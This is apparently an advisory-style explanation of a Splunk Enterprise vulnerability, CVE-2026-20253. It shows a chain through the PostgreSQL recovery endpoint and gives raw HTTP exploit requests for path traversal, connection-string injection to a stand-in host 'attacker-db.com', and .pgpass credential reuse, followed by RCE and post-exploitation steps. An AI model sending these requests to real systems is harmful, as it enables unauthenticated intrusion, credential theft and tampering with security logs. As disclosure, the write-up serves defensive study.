How It Works

CVE-2026-20253 involves abuse of the PostgreSQL sidecar service recovery functionality exposed through Splunk Web. An attacker can chain multiple behaviors to progress from a limited file-operation primitive to arbitrary file write and, ultimately, code execution.

Possible execution

POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic Og==
Content-Type: application/json
Content-Length: 62

{"database":"postgres","backupFile":"/tmp/poc"}

2. Arbitrary file creation via path traversal: The backupFile parameter is passed directly to pg_dump as the output path with no validation. An attacker can supply path traversal sequences (for example, ../../../../../../tmp/backuptest) to create or truncate files at any writable location on the filesystem. At this stage, the resulting files are typically empty because the attacker cannot authenticate to the local database. The request below demonstrates a directory traversal to create a different file.

POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic Og==
Content-Type: application/json
Content-Length: 72

{"database":"postgres","backupFile":"../../../../../../tmp/backuptest"}

3. Connection string injection (dump attacker-controlled content): The attacker then coerces Splunk into connecting to an attacker-controlled PostgreSQL server instead of the local instance. By injecting connection string parameters (for example, hostaddr=attacker-db.com), the attacker can override the intended host and cause Splunk to fetch a database from the attacker’s server and write it to the specified backupFile. The request below demonstrates dumping attacker-controlled database content to /tmp/poc, overwriting any existing file.

POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic Og==
Content-Type: application/json
Content-Length: 62

{"database":"hostaddr=attacker-db.com","backupFile":"/tmp/poc"}

4. Credential theft via .pgpass reuse: Splunk stores PostgreSQL credentials in plaintext in: /opt/splunk/var/packages/data/postgres/.pgpass. By injecting a passfile parameter into the PostgreSQL connection string, the attacker can point PostgreSQL to this file and authenticate as the privileged postgres_admin user without knowing the password.

5. Remote code execution (RCE): With an arbitrary file write primitive, the attacker overwrites a Python script that Splunk executes on a schedule (for example): /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py. The payload runs under the Splunk service account during the next scheduled execution, resulting in unauthenticated RCE.

POST /en-US/splunkd/__raw/v1/postgres/recovery/restore HTTP/1.1
Host: splunk.example.com:8000
Authorization: Basic cG9zdGdyZXNfYWRtaW46
Content-Type: application/json
Content-Length: 111

{"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass","backupFile":"/tmp/poc"}

6. Post-exploitation impact: After gaining execution, an attacker can tamper with or delete security telemetry to degrade detection and response, harvest stored credentials/API keys from indexed data, establish persistence, disable logging mechanisms, and pivot to other internal systems using Splunk’s network position and service account privileges.

Attack chain

The figure below shows the attack chain targeting Splunk Enterprise via CVE-2026-20253.

Figure 1: Diagram depicting the attack chain targeting Splunk Enterprise via CVE-2026-20253.